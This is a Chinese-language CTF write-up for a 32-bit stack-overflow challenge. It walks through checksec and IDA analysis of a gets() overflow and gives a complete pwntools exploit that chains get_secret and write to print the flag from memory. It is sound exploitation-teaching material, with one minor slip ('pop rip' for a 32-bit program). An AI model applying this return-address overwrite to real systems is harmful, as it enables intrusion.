首先使用checksec检查一下文件,没有canary,可以使用栈溢出;有NX保护,栈不可执行。
使用IDA查看反编译代码,从主函数中可以看到调用了gets函数,存在栈溢出的风险。
使用组合键shift + F12
打开字符串窗口,发现第一个字符串就是flag.txt
。
双击flag.txt
跳转到该字符串在文件中的位置,使用组合键ctrl + x
查看用到该字符串的函数。
进入get_secret
函数并进行反编译,可以看到该函数源码如下。
get_secret函数中调用了C语言库函数fopen()和fgets()。
这两个函数的方法如下:
- fgets()函数:
原型:char *fgets(char *str, int n, FILE *stream)
作用:从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。- fopen()函数:
原型:FILE *fopen(const char *filename, const char *mode)
作用:使用给定的模式 mode 打开 filename 所指向的文件。
明显的,我们可以看到该函数从flag.txt
函数中读取了一个长为45的字符串存到fl4g
的位置,双击fl4g
我们跳转到了它在bss段中的位置。
整理思路:
- 首先该题可以使用栈溢出
- 其次该题的flag已经在bss段中,已经在内存中,只需要将其打印出来即可
我们需要找到一种方法将flag从内从中打印出来,要找到可以用来打印的puts函数、write函数,重新查看程序的反编译,程序中找到了write函数。
查看write函数的用法,我们发现write由两种用法,仔细查看反编译的write函数发现它有三个参数,确定了是哪一种write函数。
此处给上write和read函数用法的讲解连接的跳转:write函数的详解与read函数的详解
两种不同write函数的跳转(未核实,不一定正确):write函数的详解与read函数的详解
接下来构造payload如下:
from pwn import *
elf = ELF("./not_the_same_3dsctf_2016")
io = remote('xxx',xxx)
getsecret = elf.sym['get_secret']
print(hex(getsecret))
flagaddr = 0x080ECA2D
write = elf.sym['write']
payload = b'a'*(45) # 覆盖了栈,没有覆盖ebp,原因是不存在ebp,字符串空间的底部就是函数的返回地址。
payload += p32(getsecret) # 覆盖返回地址,返回到get_secret函数
payload += p32(write) # 从get_secret函数返回到write函数
payload += p32(flagaddr) # 这个是write的返回的值,没什么用,随便填
# 32位汇编的参数传递方式,下面有跳转连接参考。
payload += p32(1) # write函数的第一个参数,是 文件描述符;
payload += p32(flagaddr) # write函数的第二个参数,是 存放字符串的内存地址;
payload += p32(42) # write函数的第三个参数,是 打印字符串的长度
io.send(payload)
io.interactive()
技巧总结
问题1:
为什么不需要覆盖ebp了呢?
答:因为不存在ebp了,我们观察main函数的最后,没有pop ebp
语句,取而代之的是一个retn
指令,该指令作用就是pop rip
,即跳转到返回地址,没有了ebp自然不用覆盖ebp了。
反汇编的call和retn
问题2:为什么参数的顺序是那样的?
这涉及到了参数传递的方式,本题是32位的程序,使用栈来传递参数,压栈顺序是从右到左,64位程序有64位程序的压栈方式,更为复杂,同时函数声明中也规定了压栈方式,write函数中这个字段就是压栈方式,具体内容可以查阅资料。